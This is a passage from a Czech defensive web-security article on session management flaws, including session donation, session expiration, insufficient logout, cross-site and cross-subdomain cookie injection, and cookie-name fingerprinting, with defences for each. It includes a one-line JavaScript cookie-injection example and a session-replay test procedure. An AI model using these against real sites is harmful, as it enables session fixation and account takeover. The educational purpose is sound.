Dalším důvodem, proč se podobný útok může útočníkovi hodit, bude ve chvíli, kdy aplikace obsahuje zranitelnost Cross-Site Scripting, jež se projevuje na místě dostupném pouze uživateli přihlášenému ke konkrétnímu účtu. Uživatelé mohou mít v aplikaci například možnost vkládat si své osobní poznámky, kontakty a podobné informace, které jsou následně dostupné pouze jim samotným. Nikdo jiný tyto kontakty a poznámky nevidí. Zneužití XSS zranitelnosti, která se vyskytuje právě na takovém místě, bude možné ve chvíli, kdy útočník daruje oběti svou relaci a přihlásí ji tak na účet s injektovaným skriptem. Oběti se tento skript spustí v jejím webovém prohlížeči a bude mít možnost například ukrást její heslo zapamatované v prohlížeči, nebo provede Content spoofing, aby si oběť myslela, že není přihlášena.

Obrana

Obranou v tomto případě bude pouze svázání relace s konkrétním uživatelem. Díky tomu nebude útočník schopen svou relaci věnovat jinému uživateli.

Logout action availability

Každá aplikace, která umožňuje přihlášení uživatelů, by současně měla umožňovat také jejich odhlášení a to tak, aby byl odkaz pro odhlášení dostupný z libovolné stránky aplikace, viz obrázek.

Správně umístěný odkaz pro logout

V případě potřeby je možné odhlašovací odkaz vložit i do rozbalovacího menu. Tento odkaz by ale měl být zanořen maximálně do druhé vrstvy menu a to tak aby jeho umístění bylo intuitivně k nalezení, viz obrázek.

Odkaz pro logout umístěný ve druhé vrstvě rozevíracího seznamu

Nikdy by tento odkaz neměl být zanořen v menu hlouběji nebo v takových místech, kdy bude muset uživatel zkoušet rozbalit více různých položek menu, aby jej našel.

Nesprávně umístěný odkaz pro logout

Insufficient Session Expiration

V případě, kdy se uživatel zapomene od svého účtu po ukončení práce odhlásit, měla by aplikace sama zrušit platnost relace po určité době nečinnosti uživatele. Důvodů pro to existuje hned několik. Asi nejvýraznější příklad lze najít ve veřejných přístupových místech k internetu, jako jsou knihovny, úřady a internetové kavárny. Uživatelé na těchto místech po ukončení práce uvolňují místo u stejného počítače dalším uživatelům. Představte si, že navštívíte například svou e-mailovou schránku prostřednictvím webmailové aplikace, zapomenete se od ní odhlásit a opustíte své místo u veřejného počítače. Pokud po vaší návštěvě usedne k počítači další uživatel, který navštíví stejnou webmailovou aplikaci, byl by stále přihlášen k vašemu uživatelskému účtu, se kterým by mohl nakládat dle libosti.

Uživatelé, kteří se od aplikací neodhlašují a aplikace sama by tyto relace automaticky neukončovala, by vystavovali svou identitu také útokům typu Cross-Site Request Forgery, Clickjacking, Cross-Site Sripting, a jim podobným.

Někteří uživatelé se domnívají, že není nutné se od svých účtů odhlašovat, protože jejich prohlížeč při uzavření automaticky odstraňuje uložená cookies. Je sice pravda, že z daného počítače se již není možné na původní relaci přihlásit, protože prohlížeč již nemá k dispozici potřebný identifikátor. Neznamená to však, že by pouhé smazání cookies relaci ukončilo. V úvodu jsme zmínili, že relace jsou uloženy jednak na straně uživatelů (například v podobě hodnot cookies), ale současně také na straně serveru. Dojde-li k odstranění cookies, na straně serveru zůstává relace stále aktivní a to buď do doby než vyprší definovaný timeout, nebo až do restartu serveru. Díky tomu jsou aktivní relace stále náchylné například na možnost jejich krádeže na straně serveru, a proto by měly být automaticky ukončovány.

Obrana

Webová aplikace by měla automaticky rušit relace při určité době nečinnosti uživatele. Jako vhodná doba pro timeout se jeví 20 až 30 minut.

Insufficient logout

Záležitost expirace sessions, nebo logout uživatelů je někdy vyřešena pouze tak, že po určité době (nebo po vypnutí) prohlížeče dojde ke smazání cookies na straně uživatele. Případně je po kliknutí na odkaz pro odhlášení odeslána uživateli hlavička Set-Cookie, která nastaví platnost cookie do minulosti a prohlížeč díky tomu toto cookie odstraní. Pokud ale nedojde ke zrušení relace také na straně serveru, pak je toto odhlášení provedeno nedostatečně.

Během testů aplikace byste proto měli vyzkoušet mimo jiné také následující postup:

  • přihlásíte se ke svému účtu
  • zkopírujete si hodnotu session ID
  • odhlásíte se od svého účtu
  • nastavíte si session ID na hodnotu, kterou jste měli před odhlášením
  • vyzkoušíte načíst některou ze stránek, která by měla být dostupná pouze přihlášeným uživatelům

Pokud se Vám po provedení uvedených kroků načte obsah náležející vašemu účtu, je odhlášení nedostatečné a mělo by být doplněno i o odstranění relace na straně serveru.

Mezi další testy, které byste během testů měli provést, patří otestování, zda se po odhlášení od aplikace a kliknutí na tlačítko zpět ve webovém prohlížeči neocitnete opět přihlášeni. K tomuto dochází hlavně v případech, kdy je identifikátor relace předáván prostřednictvím URL.

Cross-Site Cooking

Zranitelnost známá pod výrazem Cross-Site Cooking není zranitelností samotné webové aplikace, ale bugem webových prohlížečů. Tyto chyby browseru umožňují útočníkovi připravit takovou webovou stránku, jejíž návštěva způsobí přečtení nebo zápis hodnot cookies patřících jiné doméně.

Příkladem takového útoku je například zranitelnost oznámená Michalem Zalewskim v roce 2006, která odhalovala skutečnost, že webové prohlížeče umožňují číst a zapisovat cookie pro vlastní doménu minimálně při shodě domény prvního a druhého řádu (například example.cz), existují ovšem i takové domény, které sdílejí oba řády, například com.pl, com.fr, me.uk, co.uk, apd. Pokud tedy útočník vlastnil doménu www.attacker.co.uk, mohl bez problému nastavit cookie s platností i na doméně www.victim.co.uk.

Obrana

Protože se jedná o zranitelnost webového prohlížeče, moc toho v samotné aplikaci nenaděláme. Měli bychom ale aplikaci správně ošetřit proti Session Fixation vygenerováním nového session ID, aby jej útočník, nemohl zneužít po té, co uživateli nastaví hodnotu session identifikátoru a ten se k cílové aplikaci přihlásí. Vhodnou obranou je také použití oddělených úložišť pro sessions na straně serveru a nastavení vhodných přístupových práv k těmto úložištím.

Cross-Subdomain Cooking

Zranitelnost Cross-Subdomain Cooking může útočník s úspěchem využít na webhostingu, který svým klientům nabízí subdomény třetího řádu. Útočník totiž může prostřednictvím své webové stránky nastavit oběti cookies s platností pro celou doménu druhého řádu.

Nastavení cookie pro doménu 2. řádu pomocí Javascriptu
  1. document.cookie = "mojeCookie=5; path=/; domain=example.cz";

Pokud se útočníkova webová stránka nachází na subdoméně attacker.example.cz a subdoména oběti victim.example.cz trpí například zranitelností Session Fixation, může útočník prostřednictvím své stránky nastavit oběti uvedeným způsobem cookie s platností i na doméně victim.example.cz.

Obrana

Stejně jako u Cross-Site Cookingu, i zde můžeme udělat pouze to, že aplikaci správně ošetříme proti Session Fixation a oddělíme úložiště relací pro jednotlivé aplikace.

Session ID Name Fingerprinting

Defaultní pojmenování session cookies poskytuje útočníkům mnoho cenných informací o technologiích, programovacím jazyku, použitém frameworku, nebo o webové aplikaci. Následující tabulka uvádí některé defaultní názvy cookies, které prozrazují více, než by měly.

Jazyk/frameworkJméno (session) cookie
PHPPHPSESSID
JavaJSESSIONID
ASPASPSESSIONID
ASP.NETASP.NET_SessionID
ColdFusionCFID
Nettenette-browser
CakePHPCAKEPHP
Laravellaravel_session

Obrana

Pro zamezení fingerprintingu a pro zmatení nepřítele by aplikace měla používat jiná než defaultní jména pro session cookies. Použité pojmenování by přitom nemělo být takové, aby se na základě něj dala snadno jednoznačně rozpoznat právě vaše aplikace. Namísto toho je vhodné použít názvy, které jsou běžné pro jiné technologie, což dokáže útočníka poměrně úspěšně zmást. Pokud je aplikace napsána v PHP je vhodné pomocí následující konfigurace nastavit název pro session cookie tak, aby to vypadalo, že je aplikace vytvořena v ASP.

Změna defaultního jména session cookies v PHP
 session.name = ASPSESSIONID

Shrnutí obranných mechanismů

Konkrétní obranné mechanismy, které je důležité nasadit pro zabránění výše uvedeným útokům, byly již popsány u jednotlivých zranitelností. Na tomto místě je tedy pouze shrnu do kompletního seznamu.

Identifikátory relace se nesmí vyskytovat v obsahu webové stránky, ani v URL, přičemž identifikátory předané skrz URL musí aplikace ignorovat. Session ID musí být dostatečně dlouhé a komplexní, aby je nebylo možné uhodnout hrubou silou. Současně tyto identifikátory musí být zcela náhodné, aby nebylo možné odhalit algoritmus, pomocí kterého jsou tvořeny a nebylo tak možné hodnoty identifikátorů predikovat. Po každém požadavku, nebo minimálně po úspěšném přihlášení musí být vygenerován nový identifikátor relace, aby nezůstala jeho hodnota shodná před a po přihlášení. Přihlašovací formuláře musí být načítány a odesílány prostřednictvím HTTPS, aby nebylo možné odposlechnout, respektive pozměnit data přenášená sítí. Ze stejného důvodu by měla na HTTPS běžet celá webová aplikace umožňující přihlášení uživatelů, aby nebylo možné na síti odposlechnout přenášené identifikátory relací. Použití SSL by mělo být vynuceno pomocí HSTS. Cookies uchovávající hodnotu session ID musí být chráněna příznaky HttpOnly a Secure. Relace by vždy měla být svázána s konkrétním uživatelem prostřednictvím jeho IP adresy, hlavičky User-Agent a Accept-Language, nebo s otiskem uživatelova systému, aby nemohlo dojít ke zneužití odcizených relací a dalším útokům. Sessions by měly mít nastavenu dobu platnosti a při nečinnosti uživatele musí relace automaticky expirovat. Jednotlivé aplikace provozované na jednom serveru by měly používat oddělené úložiště pro jejich relace. Jednotlivé aplikace by na sdíleném serveru měly běžet pod vlastním uživatelským účtem a v případě, že se relace ukládají do souborů, pak je potřeba jejich úložišti na filesystému nastavit odpovídající přístupová práva. V neposlední řadě by session cookies neměla být pojmenována defaultním jménem, který často prozrazuje některé použité technologie.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.1/20

1  2  3  4  5    
(známkování jako ve škole)